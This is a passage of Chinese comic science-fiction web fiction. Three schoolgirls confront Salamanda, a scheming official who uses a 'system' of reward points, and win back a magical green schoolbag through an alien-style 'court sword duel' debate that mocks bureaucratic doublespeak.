半夜十二点,换上衣服,在镜子湖泊般的银光里绑上头发,把拖鞋换成轻薄的透气运动鞋——注意,轻声,不要吵醒妈妈——慢慢地、轻手轻脚推开窗户,滑轨和窗框没有一丝摩擦声,踩着椅子、桌子、暖气片也行,爬上窗户。
这个夜晚,满城都是某种白烟,它不可见的颗粒感让人仿佛在搓磨丝绸。即使全世界的工厂同时排气也很难见到如此的景象,若仔细观察,方能发现这白烟的真身是晴朗的月色。
从房间的窗户跳出去,义无反顾地跳出去,即使被妈妈发现也决不回头地跳出去。窗户、房间的台灯和被褥凌乱的床都被抛在身后,在银芯梅的托举下轻轻落地,再也看不见身后的窗户。然后所有人上了同一辆凌晨一点的高价顺风车,直奔驻爬行文明银河系分部太阳系支队地球小组须州办事处(玛丽基金会属)。紧接着便发生了以上故事。
“我们好歹还敢半夜逃家来找你,你呢?你就任由他把这种开会文化带来玛丽基金会?”康烁影发出致命的询问。
铃铛委屈地盘腿坐回床上:“这个……我有努力过的……”
她的确付出过小小的努力。她谎称生物实验室里存放着重要文件,让沙拉曼达自行前去搜寻,但他不仅没有被毒晕,还真的带着一份不知道多少代前人留下的文件归来。她把强度测试车间称作会议室,但他中考体育满分的身体令他完好无损地从中走出。她声称双方合作共赢必须填写一系列文件,找到天南海北的负责人,承担许多莫须有的责任。从爬行文明银河系分部太阳系支队地球小组须州办事处建立起,从来没人有耐心完成这些文件并上交,但他都做到了。
铃铛彻底放弃抵抗:这样的人做什么都会成功的。她现在只想退位让贤。
众人无语凝噎。颜阎把铃铛塞回被子里,怜爱地拍拍她:“你也没什么用了。睡吧。对了,把你们这儿的结构图给我。”
铃铛一个挥手,喊来千足家居系统呈现一份小型结构图:“沙拉曼达现在就在我的办公室——也就是上面写的‘亚彻办公室’,但他把房间关上了,我不知道密码。”
刘征兰问:“这不是你的办公室吗?”
铃铛理所当然地看着她:“是呀,但我们关系户都是空降的。它的上一任主人是一位爱好争执的亚彻星系的灵肉,我只是用了这个办公室而已。”
……很多时候纯洁也是一种罪恶。大家看着她黑亮的眼睛,恨不得掐死她。但看着这家伙小小的身体,谁都没办法真的狠下心掐她。于是刘征兰把温蒂妮尸首分离的身体(其实就是积分球和脖子以下)丢到她床上,看她吱哇乱叫,满意地离去了。
铃铛是派不上用场了,三个人转头就要直取亚彻办公室,铃铛说这里的摄像头没有死角,刘征兰说我们没有避开摄像头的能力,我们要策反所有不想开会的人,大家一起推翻沙拉曼达。
可惜这件事从一开始就失败了。没有灵肉真的想拉沙拉曼达下水,因为:“公务员。朋友,我们是公务员。我们不会捕猎不会隐蔽,要是事情败露被赶出去出去当野生动物,我们是没有任何生存能力的。”
颜阎靠在亚彻办公室大门上,曲起一条腿蹬着门,抱臂冷笑:“我就知道。”
康烁影正在气头上,她刚被巨大牧羊犬撞了个趔趄,尾巴根发麻:“你又知道了?”
颜阎摇手指:“我无所不……知治治直!”
背后的门突然打开,她整个人倒栽进门框里,肩膀着地,痛得在地上蜷缩着抽气。
开门的是一对老夫妻。老太太头发乌黑,脖子上项链和玉牌叠戴,一串佛珠在左手上绕了四圈,像一条嘶嘶盘踞的红蛇。老大爷穿着一套不合身的西装,里面却隐约可以看见一套红色丝绸睡衣,肚子从临时系紧的皮带里挤出来,肉嘟嘟的脸上带着不苟言笑的威严神情。
办公室已经完全看不出工作的痕迹,雪白的墙壁上隐约可见投影屏等电器被抢强制被拆卸的痕迹,取而代之的是墨宝、挂画和翻页挂历。
“干什么的!”肉嘟嘟的老大爷翕动紫色的嘴唇,声音不怒自威。
出于某种对权威的蔑视,他越严厉,颜阎和刘征兰胆子越大。颜阎把胳膊往康烁影肩膀上一架:“你管我们是干什么的!我问你,你们是什么人?怎么在办公室里?”
老太太和蔼地上来打圆场:“不好意思不好意思啊,他就是这个脾气。你们不知道吧,这个办公室呀,被改成家属宿舍了。”
刘征兰把胳膊往康烁影肩上一支:“什么时候的事?谁允许的?”
老太太装作思索了一会儿:“哎呀……瞧我这记性。好像是一位,姓郭的年轻人。”
她们都没听说过。
老太太提示:“叫什么……郭守政?”
康烁影狐假虎威:“工作时称职位!”
老大爷立刻被她们的语气所蒙骗,态度忽然变得有些心虚:“炼金商会的沙拉曼……哎哟!”他被老太太掐了一下,很恼怒地回头,“我们交流工作,有你什么事!滚回去!”面对颜阎她们,立刻又谄媚起来,“贱内不懂事……”
谁也没心思听他说话了。老太太转身的一刹那,露出了一个红木八宝橱。上面摆着各种花瓶、根雕、水墨画。最中心的方格里,一抹苔藓般的深绿与其他宝贝格格不入。
赫然是她们的呼叫中心。
颜阎左脚蹬地,把身材巍峨的老大爷撞得一一个踉跄,以从未有过的速度冲上去抓书包的肩带,正欲将其扯下,一道激光从门口斜射入她的手臂。球球敏锐的危机检测
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系统立刻弹出气态防弹屏,企图用强气流引开电弧。可对方的武器配备已经完全达到军事专用水准,电弧悍然穿越防弹屏,击中颜阎的手臂。
她整只手的肌肉疾速痉挛,仿佛全部的细胞都在脱水萎缩,这下别说惊叫,连抓握都做不到,整具躯体如同毫无生机的肉块般颓然倒下。
刘征兰大叫:“你怎么又倒了!”
“因为她不听劝告。”沙拉曼达悠然自得与她擦肩而过,恭顺地对着屋里的老夫妻浅笑,“爸,妈,你们出去一下。我和她们解决一下问题。”
看到自己的儿子,老大爷一瞬间返老还童,像是一只挑衅家猫唱歌的野鸟般神气:“不争气的东西,我让你弄个房间都办不好!你看看她们怎么对我和你妈的!白养你这么大了!”
沙拉曼达神情谦卑地聆听父亲的指责,时不时点头称是。刘征兰和康烁影趁机把颜阎扶到床上坐一会儿。等到老大爷终于气喘吁吁放弃指责他,颜阎到下巴已经恢复到可以在他们父子相惜的间隙发出一点吐槽,他才恭敬地把父母送出房间,全程没有流露出一丝不满,甚至有一些……快乐?
变态啊这是。
沙拉曼达目送父母互相搀扶,骂骂咧咧地离开办公室。他转了转脖子,摸不透的眼睛挪到三个人身上:“你们不仅私藏空想文明,包庇逃犯,还放弃期末考试半夜出逃?”
刘征兰抓紧吐槽:“怎么听起来逃期末考试更严重一点。”
沙拉曼达用看着执迷不悟少年犯的眼神看着她们:“如果你们愿意承认是误伤了温蒂妮,我可以让你们免除牢狱之灾。”
康烁影有些害怕了,她对这种形象的成年人有根深蒂固的恐惧。但颜阎和刘征兰在旁边,她不想显得太懦弱。她梗着脖子向上一窜给自己壮胆,可看上去只是稍微弹了一下:“做梦!”
“那么很遗憾。”沙拉曼达说。他手腕微微一翻,右腿向后撤出一大步,“系统!10000孝心点数,兑换热熔刀。”
一种金红的光芒从他手臂之下的皮肤里迸射,仿佛是岩浆在他的体内涌动。只听铮然金石声,一只刀从他小臂中弹出。刀身宽而长,两侧支出数条钩刺,刀上滚动的光芒亮白如雪、烁目如金。
他挥刀便砍,刀身甫一接近便掀起滚滚热浪。只要触碰到任何人的皮肤,必然会立刻皮开肉绽,削骨如泥。
球球顿觉不妙,它一个俯冲挡在热熔刀面前,球型身躯的最上方打开了一个圆孔,通过压缩空气进入体内后,用均匀的气流屏障挡住沙拉曼达的攻击,使他的步伐被狂风向外排斥,无论如何也无法将她们纳入刀的攻击范围里。
颜阎自觉命不久矣,放弃般向床上一躺:“系统?系统!都是家居系统,凭什么帮他不帮我们!我要超级无敌全自动人造太阳!”
沙拉曼达哈哈大笑:“你难道以为是家居系统?”
“……难道不是吗?”
沙拉曼达并不回答,只是提声喝道:“系统,5000孝心点数,力量增幅卡,五张!”
顷刻之间,他的行政夹克鼓满气流,头发紧紧贴在脸颊上。他的双腿迈入球球的空气屏之内,如入无人之境。
沙拉曼达空着的那只手摘下眼镜扔到一边,长刀挥舞,如焰如雪。
球球无法再进行空气压缩,只得减小出风口面积,将气流压缩成薄片甩出。热流与风刃相接,有形的刀身弹飞出去,带着紧握刀柄的人向后仰倒,沉闷的碰撞声骤然响起逸散的热风让所有人仿佛身处火炉。
沙拉曼达退后数步稳住身形,再次加码:“系统,5000孝心点数,力量增幅卡再加五张!”
这样下去不是办法,她们早晚要被片成烤人。刘征兰抿紧嘴唇,脑子里检索所有看过的消息:冯诺依曼,空气动力学,E=mc?,马克斯卡尔恩斯特路德维希普朗克,第二文明为何如此贫瘠,婆旦·颇萝旦债务何时还清,期末考试物理最后一道大题最后一问为什么要让小球从各种高度坠落,亚彻星系的历史文明为何如此扭曲,亚彻……亚彻……
这里,是亚彻人的办公室,对吧?
外星人,应该有温度调节系统吧?
她一个鱼跃跳到墙边,还真的让她找到了温度调节系统。玛丽基金会果然争气,考虑到天南海北两极赤道的灵肉都在此处就职,这里的温度调节范围是-50℃到30℃,完全可以达成用空调冻死个人的壮举。
室温一降再降,短袖短裤的颜阎和康烁影打起了寒战。但沙拉曼达的刀仅仅是从亮白退为浅淡的澄黄。温度调节器唯一的用处就是给球球物理降温。
还能怎么办?还能怎么办?
刘征兰束手无策,干脆身体力行。在热熔刀砍向球球的一刹那冲过去把它抱在怀里,结果和同样冲过来的康烁影撞了个正着。两人一智械狼狈倒地,恰恰躲开了致命一击。
局势已定,沙拉曼达在手中掂掂刀身,正欲乘胜追击。门口忽而有人低吼:“沙拉曼达!”
铃铛、巴莫魁和她的司机推着一个手推车,上面放着一个拼接得七零八落、比起身体更像是电子垃圾堆的东西,若非两侧的触须状手臂,根本没办法认出来这是上半身。
触须手臂抱着温蒂妮的积分球头颅,上面圆形的进光孔正对着刘征兰,手臂感激地晃了晃。
铃铛很不好意思地蹭脚:“那个……我们玛丽基金会不擅长机械,凑合用吧。”
沙拉曼达微笑着把刀刃收起来:“温蒂妮,被你看不起的地球人救了,感觉如何?”
温蒂妮大怒:“混蛋!你一个差点让我死在湖底的家伙还好意思指责我!”
“对。”男人气定神闲,“你能把我怎么样?你能把愤怒向系统兑换吗?如果不能的话,我劝你还是心平气和一点。”
“你有个人系统,我有智能家居。”温蒂妮低吼,“智能家居!”
没人回答。
铃铛安抚性地拍拍它:“你不是员工,没有权限,我来我来。千足!”
房间里叮咚一声:“我在。”
温蒂妮一字一顿:“把温度调回去,开启‘法庭斗剑’!”
75.“法庭斗剑”
亚彻星系的法庭很长一段时间由法官、贵族和财阀掌控。在一段不值一提的抗争后,秩序毁灭了,无政府主义者掌握了一切。
都无政府了,自然不会再有国家、警察和法律机关,那么纠纷发生后如何解决,就成了个问题。无政府主义者们还没合计出来,民间就自行出现了规则:哈哈!这年头本就无法无天,咱俩比个剑吧!谁赢了听谁的!
这无法体现公平,只能再次重演暴力的统治。向往和平的普通人们鼻青脸肿地签下了一份共同承诺书:用语言代替暴力,用辩论寻找真理。
无组织无纪律无政府的那群人被吊死之后,法庭重新降临世间。大家觉得:“诶,那个什么什么,语言代替暴力辩论寻找真理,很有意思,真不错。我们沿用一下吧!”
习惯了无组织无纪律的人们抗议:“我们不要法官!”
法官难过地摘下卷卷假发:“我真的很想戴那个,我从小就喜欢绵羊……”
既然不能让法官来体现公平,那就只能让普通人来体现公平。太阳底下无新事,他们的最终设计和两百多亿光年外的一颗蓝色星球的陪审团制度很像。但它们似乎要叫评委团什么的。
亚彻星系没有法官,评委团也没有任何法律意识,单纯是由伦理和朴素的直觉来决定最终结果。控辩双方的对抗被称作“法庭斗剑”,这种活动过于亲民,就算只玩过《逆转裁判》也能轻松上手,所以星系外有大批模仿者,全宇宙都将这种临时辩论称为“法庭斗剑”。
由于受众太过广泛,智能家居里经常插入“法庭斗剑”模式。更何况,这里曾经是一个亚彻星系灵肉的办公室。
房间内立刻降下一层透明等离子屏障,房间分作门口、沙拉曼达和高中生加球球三个部分。沙拉曼达拎起桌上的烟灰缸扔过去,烟灰缸碰到等离子屏障的一瞬,就被分解作无数烧红的铁粒。
“不是?朋友!”颜阎虚弱地抬起头,“那我们出去了,不是还要被砍死吗?”
“放心,毕竟是斗剑,赌注也是娱乐性的一环。”温蒂妮道,“开场前需要规定一个双方同意的赌注,只有在双方确认交易完成后,才可以从离子屏障里面出来。正规比赛一般都是转个圈学狗叫什么的,但我们这里是不正规比赛,你们说谁输了就把谁捆起来。”
各种灵肉呼朋唤友,看热闹不嫌事大地挤进领导办公室,观看全宇宙最有观赏性的语言节目之一。
沙拉曼达和高中生蹲在等离子屏障前,暂时性和平讨论。沙拉曼达说我没有什么好辩论的,刘征兰说我们讨论一下公权力的限制好不好。沙拉曼达用微笑表示拒绝。
“要不你把书包还给我们吧,还了我们就不纠缠你了。”康烁影道。颜阎在旁边点头,实际上心里想的是:拿回呼叫中心就把你这蛀虫杀了。
“不,我倒是觉得,我拿走书包挺正当的。”沙拉曼达从地上摸回眼镜,拿眼镜布擦了擦重新戴上,“至少,比你们私藏好一点。”
这下子连问都不用问,辩论主题直接滑向:沙拉曼达拿走绿书包是否正当。赌注就是绿书包本身。
温蒂妮在外面痛斥地球土著的见识短浅:“你们一定要盯着那个绿书包?为什么不定更有利的、收益更大的标准?”
它骂到一半,铃铛捂住它的发声口,将它拖走了。
主题和赌注定下的一刹那,双方的离子屏障前骤然出现一具半透明的身躯——是法庭斗剑的剑斗士。沙拉曼达那边的是一个和他一模一样的成年男性,不戴眼镜,身披威风凛凛的红色斗篷,手里握着柄热熔刀。高中生那边是一个面目模糊的少年女性,身高大概在一米七左右,手中没有武器。
颜阎把康烁影拉过来:“你觉不觉得他穿得像太监?”
康烁影锤她:“你把我好不容易建立起来的严肃还给我!”
由于法庭斗剑的民间性质浓厚,所以没有规范的设立架构环节。沙拉曼达率先发问:“我拿走绿书包是否正当?我的答案当然是正当。诸位知道这个书包是做什么的吗?”
人类员工和灵肉员工们一面分食瓜子花生爆米花一面摇头。
“它伪装成书包的样子,实际上是空想文明的产物!空想文明一向以神秘而著称,传说那个时期的人们可以扭曲空间,变换形态,甚至连时空跳跃都不在话下。这个书包里有一个巨大的空置房间,房间的门可以随时通往任何地方!诸位,如果她们用它犯罪、偷窃、行不轨之事,我们要如何处理?我们甚至找不到证据!这种东西,难道就放任它落在别人手里吗?”
颜阎从床上跳起来,跳了一半又软塌塌地滑下去。康烁影只好代替她出战:“不要转移话题呀!我们讨论的是,你拿走它是否正当。你又是偷窃又是威胁,中途还想把替你做坏事的温蒂妮杀了,推到我们头上。这个过程哪里正当了?要不是刘征兰会水还不嫌脏,温蒂妮现在还在当有害垃圾呢。”
沙拉曼达轻巧地略过温蒂妮的问题:“我至少是炼金商会的沙拉曼达,我将空想文明的遗物收容是完全合理的。诸位试想,这样强大的道具,收归官方总比属于个人要安全得多。”
“骗人!就算是收容,也应该是玛丽基金会的工作!而且你都把办公室当作卧室给你父母了,还好意思谈公有和私人?你自己怎么想的,你心里清楚!”
沙拉曼达早有准备:“不管怎么说,空想文明的遗物在这里,而这里属于办事处,对不对?”
康烁影被他的无耻惊呆了,再也说不出一句话。她真心实意地感觉自己在的逻辑已经混乱,思维跟不上诡辩的漏洞,只能遗憾退场。
根据在场观众的体温、心跳面部表情,智能家居系统做出了初步判断。沙拉曼达的影像立马横刀迎面劈来,无面人双手向耳垂摸去,凭空摸出一副空心圆耳环。耳环逐渐变大,在刀刃劈来的刹那一个下腰,耳环套住对面影像的双手,借力向上扬起,顺势化解了这一刀。但她的头发还是轻微刮蹭,左侧发丝全部焦糊发黑,一碰即落。
刘征兰不愿意拉低自己的水平跟这种人扯皮,她觉得没有任何意义。既然两人绝不可能彼此说服,那么剩下的都是浪费时间。但康烁影战败,颜阎还在当尸体,只能她顶上。
“再次强调,沙拉曼达,我们讨论的是,你带走这个东西是否合理。在拿走它的过程中,你可以使用公权力,可以向我们说明它的重要性,但是你没有。你对普通人使用威胁等手段,刚才还试图用刀具威胁我们,这是严重侵犯我们个人权力的行为。”
沙拉曼达微微一笑:“你们有证据吗?”
“……什么?”
“威胁、偷窃、袭击,你们有证据吗?”
威胁和偷窃没有,但是袭击是有的。整个办事处几乎遍布安保措施,这个本是办公室的地方自然也有。
智能家居投下光幕,自动播放球球大战沙拉曼达。面对如此如山铁证,沙拉曼达却更加冷静,他笑着张开双臂:“非常可惜。我,是地球本地人。作为一个本地人类,我真的有办法从胳膊里弹刀或灵活使用武器吗?这个视频里的我所说的系统更是无稽之谈,有人真的在世界上见过系统吗?我没想到你为了诬陷我,居然连这样的蠢话都可以编出来!”
……对……对啊。系统文太过泛滥,大家接受度太高,一时之间都忘记现实中没有真系统了。
刘征兰并不露怯:“你不是炼金商会的领导吗?炼金商会难道没有这种道具?”
“真遗憾。有是有的,但我是地球人,没有都兰联合公民身份,没法做改造人手术。”
康烁影蹲在等离子屏旁边和铃铛耳语:“真的是地球人吗?”
铃铛苦着脸点头:“真的。我搜了。出生信息完备,能跑到炼金商会完全是因为他考公填错表,填到驻爬行文明银河系分部太阳系支队地球小组临江办事处(刻石人属)了,后来弃政从商,就自然而然又去外星人组织了。”
刘征兰笑了笑:“是真是假,马上应验。外面的朋友们,不耐寒的请退出,其他人帮我们把空调调整到-30℃。”
温度一再下降,当降低到0摄氏度左右,康烁影开始搓手,而沙拉曼达的身上已经蒸汽缭绕。
刘征兰极力控制住发抖的声线:“这就是证据。我不管什么系统不系统,但我知道物品不会凭空产生,刀具一定在他身上,并且通过某种方式散热降温,不然不会有这种程度的蒸汽。”
沙拉曼达自己也没有料到,他四下翻找,但衣服下没有任何刀具的痕迹。
无面人的影像手腕翻转,耳环在她的手下消失。取而代之的是一把通体如白玉、光泽温润的圆规量角器多合一教具。她双手将掰开圆规出掰成三十度的夹角,对准沙拉曼达的影像“拉弓”。
对方毫不退让,挥刀便砍,即将触碰到她之际又变砍为刺。无面人合拢圆规,变弓为剑。双锋相抵僵持不下,但隐约可见无面人一方力不从心。她迅速撤手避让,在对方乘胜追击前,将圆规掰作43度,圆规两脚间轰然高鸣,幽蓝激光穿透沙拉曼达身后的斗篷,留下一个焦黑的圆洞。
沙拉曼达沉默地挥散身侧的蒸汽。刘征兰推测他在脑子里和系统交流着什么——话说系统到底是什么啊?真有这东西?
球球在康烁影怀里为沙拉曼达的沉默幸灾乐祸:“没话说了吧。”
“不,恰恰相反。”沙拉曼达再次拿出那把热熔刀,双手捧起放在等离子屏前,给所有员工观察,“我本来不想暴露,但你已经说到这个程度了,我不得不揭露一切。”
“我的确有系统,诸位。正因如此,我才说,我拿走空想文明的遗物是正当的。”
刘征兰目瞪口呆:“……什么?”
沙拉曼达张开双臂,语气愈发激昂:“诸位,我是爬行文明的土著,对前沿科技的了解并不深刻。请问大家,脑机接口、电子脑之类的实践,真的很普遍吗?”
灵肉们摇头。一只戴眼镜、打领结、抱着打字机打莎士比亚的黑猩猩抽空解说:“大脑结构至今仍未被完全参透,因为思维并非是具象的事物,大多数想法都只是一个高度抽象的概念。而数据的功能性过强,它难以读取抽象混沌的‘思维’。简而言之:脑机接口目前跟智能家居没啥区别。”
“那么我拥有系统,可以随时兑换道具,还能用道具增强自己的力量和速度,这难道不足以证明我的特殊吗?”沙拉曼达循循善诱,“系统,这个高维文明投放到我体内的事物,恰好证明了神的真实性。最近灵肉的造物神弓粟已经被拆穿了,但我坚信造物神的存在。或许世界上没有人形的上帝。真正的神,其实是高维生物!”
灵肉内部的宗教信仰比较普遍,他一提到造物主,灵肉们的心立刻向他那边倾斜。沙拉曼达的剑斗士摆好了攻击架势。
“系统既然认我为宿主,让我有更强的能力,我自然要肩负起更多责任。本系统肩负着推动社会进步、促进人类平等的重要使命,为此,我们不得不对历史遗留的文明成果进行合理利用。
在此过程中,我们深刻认识到,对于部分个体的权益可能产生了一定程度的影响,对此我们表示诚挚的歉意。然而,作为系统的管理者,我们始终坚持以全宇宙生物为中心的发展思想,将保障最广大生物群众的根本利益作为一切工作的出发点和落脚点。
在权衡利弊之后,我们做出了艰难但必要的决定,以确保能够更高效地服务于社会,提升公共福祉。我们坚信,任何一位有责任感的系统宿主,在面对同样的选择时,都会以大局为重,做出符合集体利益的决策。我们承诺,将继续秉持开放、包容、共享的原则,不
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断优化系统功能,为构建和谐社会贡献力量,合理运用这份空想文明的道具。”
沙拉曼达的剑斗士将一把好端端的刀挥得像一团空气,劈砍挑刺毫不费力。刀锋掠过处甩出一片金箔压染的扇面。那轻扇点上无面人手中教具,白玉如溶腊低落,她脚下顿时布满亮白雪点。
失去武器,无面人倒纵出去躲刀,热熔刀紧追不舍,刀尖纵立上挑,直驱她咽喉。无面人再难闪躲,只能侧身用肩接下这一刀,剑斗士的肩膀化作幽灵般的绿色代码,像是流失的灵魂从她的体内出逃。
康烁影思维混乱,铃铛抱头不解。灵肉们似懂非懂,但是这熟悉的措辞已经完全令它们信服。
刘征兰愣住。她脑海里只有一个疑问:他说这些的时候,心里就没有任何怀疑吗?
半死不活的颜阎从床上爬起来,身子斜靠八宝橱,虚弱的手臂拉住刘征兰:“你下去,我听不下去了,让我来。我已经难以忍受了。我要杀了全世界讲套话的人。”
刘征兰请她:“你上。”
康烁影摇晃她:“上啊!真正的诡辩大师不能输给别人!”
剑斗士挽出一个漂亮的刀花,刀刃沉默地对准她。
颜阎对他隐隐的挑衅视若无睹,她拍拍手,把外面灵肉和人类的视线全吸引到这里来,眉头蹙成一团:“真是胡搅蛮缠。总而言之,你承认了摄像头里你真的打算杀了我们封口,作为一个成年人,你居然对我们这些青少年动私刑?诸位,不管在哪个文明里,残害青少年都是非常无耻的行为!我们并不强调自己的无辜,我们只是想要一个公平的答复,他作为一个成年人,居然想杀害人类的幼体,我不认为这是一个胸怀大义的人该做的事。”
不痛不痒的反击。沙拉曼达微微一笑,甚至没有插话。
“而且,诸位,我觉得斗剑的主题偏移了。我们讨论的是,沙拉曼达获得绿书包是否正当,而不是他作为空想文明的产物是否正当。他说我们会用它作恶,可是我们其实,并不知道它是空想文明什么的,我们只不过把它当作一个神奇的道具,就像他使用系统一样。如果持有一件特殊道具是很可能有罪的,那我认为,一个可以从系统处兑换道具的人,同样也有犯罪的可能性。”
沙拉曼达漫不经心道:“谁提出,谁举证,小朋友,你有证据吗?”
“当然没有。我只是提出一种可能性。”颜阎无辜的眼神望向他,“既然我们有可能犯罪,你当然也有可能。您不会计较这些的吧?”
如果反驳了这些,那么对她们的有罪推定也就不成立了。
“最后,我对所谓做出符合集体利益的决策提出质疑。我永远不认同为了更远大的目标可以牺牲眼前的个人。在场的诸位灵肉必然理解,现在仍然有灵肉被当作实验动物,这都是因为灵肉有语言能力,可以即时反馈各种实验结果!另一种层面来说,也是因为灵肉和人类的社会地位不同,这其中有隐性的歧视,有权力的倾斜。不然,作为实验品的就是人类了。
从结果上来说,你们同胞的牺牲的确推进了社会,但不能因为它有益,就承认它的正当性。任何牺牲都是不对的!
当然啦,我也不是在说人类就是坏的,他们只是没有意识到自己正在利用其他生物。在权力面前,仿佛一次牺牲只是数字的改变,但生命不是这样的。牺牲就是牺牲,不管是个人权力的牺牲还是命运的牺牲。我只是承认其中的不平衡,承认权力的倾斜,我不希望这些披以伟大付出的名头被匆匆掠过。”
沙拉曼达冷静道:“我看出来了,你是个人主义者。”
颜阎微笑:“谢谢。”
沙拉曼达摇摇头,似乎在为颜阎的惨败而惋惜:“针对上述言论,我们必须予以严肃批评和坚决驳斥。此种观点严重违背了背离了全宇宙生物命运共同体的理念,是对社会公德和人类良知的极大亵渎。我们坚决反对任何形式的极端利己主义行为,这种行为不仅损害了社会公平正义,更是对人类文明进步的严重阻碍。
我们始终坚信,任何个体或组织都应当以大局为重,将集体利益置于个人利益之上。在面临危机和挑战时,更应展现出高度的社会责任感和历史使命感,我们呼吁全社会共同抵制这种狭隘自私的思想,携手共建一个更加公正、和谐、繁荣的世界。我们相信,只有全社会共同努力,才能实现真正的长治久安和可持续发展。”
颜阎语气沉沉道:“我愿意交出书包。”
沙拉曼达微微一愣:“什么?”
“我只是反对你的方法。如果世界真的需要,我当然愿意将它贡献出来。即使你现在将它拿走,我也绝无二话。个人主义者并非自私,如果有需要,我自会牺牲。这不是因为集体至上,只是因为我的良知让我选择保护其他生命。
但我们现在讨论的,是你取走这个绿书包是否正当。你没有经过官方途径,而是以个人名义占有它。我不同意你的行径,更加反对你随意挥霍权力!”颜阎说到这里,声音已经提高到有些尖锐的地步,似乎带着哽咽的哭腔,“我知道,这样看起来像是感情用事,但是我就是……我就是反对这种碾压和计算。我恰巧捡到绿书包,还有和你谈判的余地。那普通人呢,就这么为你口中的集体牺牲了吗?
我绝不——我绝不——即使这是飞蛾扑火,即使这是感情用事,但我宁愿把空想文明的东西交给坐在外面的员工,也绝不交给你这种只想支配别人的人上人!”
无面人步履轻快地迈过等离子屏,她干净的手指向斗剑士轻轻一指,那坚不可摧的身躯应声倒地,如软泥遇水。
等离子屏外的所有员工热泪盈眶,起立鼓掌。它们完全被颜阎“感情用事”的怒吼所感染。一个天真的普通人显然比一个“人上人”更能使它们感到动容。
胜负已分。
76.对峙的艺术
怪胎。
铁青的脸努力挤出体面的笑容,颧骨上的肌肉卡在眼镜片后,几乎将他的脸团成一个恐怖的倒三角。
沙拉曼达费尽心思在地球上找到的唯一一个空想文明产物,在三个女学生手里。
他诚惶诚恐,深知这三位必然是某位大人物的女儿、女儿和女儿,可他出于某种原因,对空想文明的产物势在必得。他旁敲侧击,牵线布局,试图找出她们三个背后(他以为会有的)大人物。
但他善解人意的下属已经把那个绿书包拿回来了。
“你怎么做到的?”他问。
“走进学校,拿出教室。”温蒂妮说。
“就这样?”
“就这样。”
不可能就这样。沙拉曼达深谙世界的规则——好东西总需要一些付出才能得到,不付出就能得到的不是好东西。要它真是个好东西,还能轮得到普通人?
可是后续告诉他,的确没有任何大人物,没有任何阴谋。那个书包也是毫无疑义的真家伙。这一切再次超出了他的认知。
在好东西不好和大人物不大里,他难以做出选择,最后他想出了一个绝妙的答案:或许是这三人有什么独特之处呢?就像他是系统的宿主,这三个人说不定也和他一样有特殊能力?
他以最高的警惕对待三人:陷阱,哄骗,诬陷,威胁。他相信,就算她们再强大也是学生,必然会在恐惧里退缩。更何况,她们还要期末考试!没有学生会放弃期末考试。
后续证明他完全是在和空气斗智斗勇。这三个人既没有天选之力,她们纯纯反骨。
正常人目睹一具身体尸首分离,即使明知对方是智械,也会害怕自己落得差不多的下场,从此避之不及。而她们不仅把温蒂妮救上岸,还在期末考试期间背着家长趁夜出逃,一路追到他面前来了。
他首次对这几个学生感到恐惧。他完全难以理解,怎么会有人既不害怕来自智械的尸体,也不屈从显而易见的社会黑暗面,更重要的是,不害怕期末考试。
幸好他提前控制了办事处。至少他以为自己控制了办事处。他以不容置喙的态度进入办事处,自称谈合作共赢未来项目,实际上在内部搞派系分裂。铃铛完全是那三人的党羽(他就说有大人物!),可办事处内部又没有人能和铃铛分庭抗礼,于是他只能从铃铛身边下手。
铃铛的司机以布是个仿生人,性格沉默而忧郁。沙拉曼达诱惑他:“你做出了那么多贡献,她却踩在你头上,你难道甘心吗?你就不想和她一样颐指气使?”
以布阴沉地看着他:“我不想颐指气使。”
“哎,您看我。不好意思,她颐指气使,我相信您当上领导,肯定会公平公正清廉正直不同凡响。”
“我不想当领导。”
“我明白,我明白。”
他迅速搞起了派系分裂,要求每个人必须向以布提交申请才能进行下一步工作。没人理他。他改变政策,向以布提交申请才能使用打印机,见效寥寥。他的杀手锏是每个人必须向以布提交申请才能去打饭,效果显著。派系分裂十分成功,现在铃铛已经完全被排除在整个办事处的权力系统之外了。
当然了,以上事情,铃铛和以布全都不知情。所有向以布提交的申请全都交到了他手里。员工不敢过问——管他谁收的,能去饭堂就行。
但是女学生们完全超出了她的预料。她们没有寻求法律援助,没有要求公平正义,她们展现出的对规则和制度的高度不信任令他也胆寒。
后续的斗剑更是令他的不安达到顶点。他从没想过,自己和没有后台的女学生,居然要遵守同一套规则,还要在这样的规则里决胜负。世上哪有这样的事!成年人和孩子,父亲和儿女,掌权者和被管理者,居然要遵守同一套规则,这简直是天方夜谭!
他太过不习惯这种现实,于是他落败了。
“少年英杰啊。”沙拉曼达对颜阎说。
那个可恶的女学生笑容灿烂:“正是我!”
“你真的以为诡辩是优点吗?我只是个不起眼的人物,战胜我没有任何好处。等你走上社会就知道了,当你遇到真正的上位者,社会将改变你的想法。”
颜阎大怒:“什么是上位者?世界上没有上位者!什么年代了,哪来的上位者!说这种话的人统统给我从位子上爬下来!就是神仙来了,也得好好跟人说话!”
绿书包位于分割二人的等离子屏之间,被一层透明薄保护着,此时薄膜消散,颜阎眼疾手快,冲上去拽住书包的肩带,但是沙拉曼达拽住了书包另一侧。
沙拉曼达手里搓着书包调节扣下短短的那节背带,本就陈旧得有些薄脆的布条被他捻成细细的涤纶:“你有没有想过,你说的那些话,是一些正确的空话?”
沉默是胜者的特权。现在轮到颜阎不说话,她的手暗暗把书包往自己这边拽动。
“上位者之所以是上位者,是因为我们多少还是有一点权力。”沙拉曼达的手指攀上调节扣,像握着茶杯柄那样握着书包的肩带,仿佛这不是一场角力,“地球的外星移民里,有一些不适合在地球的重力和温度下生存,为了生活舒适,只能购置重力舱,用以在家中模仿合适的环境。就连办事处内部,也大量使用这种装置。”
“你想说什么?”
“把书包给我。然后你确认赌约完成。否则,我就立刻关闭所有重力舱,地球的大量外星移民会立刻死亡。包括铃铛身边那个石头人。它们全都因你而死。
到时候爬行文明和星际文明脆弱的壁垒会被打破,将会有无数文明以此为理由殖民地球。”沙拉曼达慢慢将书包往自己这边拉扯,“这都是因为你的一己私欲。”
颜阎道:“我知道了,你关吧。”
“……什么?”茶杯里的滚水漾出来,烫得他一个瑟缩。
颜阎的眼睛里什么也没有。没有愤怒,没有激情,仿佛是一颗镶嵌在眼眶里的玻璃珠:“你关吧。我不在乎。我不在乎空想文明,不在乎外星生物,也不在乎地球的未来。坦白说,地球毁灭了最好。只要你想要,那扇通往任何地方的门你也可以拿走。我只要那个房间。一个我随时可以进去,随时可以出来,没有人知道没有人打扰,在里面做什么都可以的房间。没有它,我就去死。我都死了,地球如何又与我何干。”
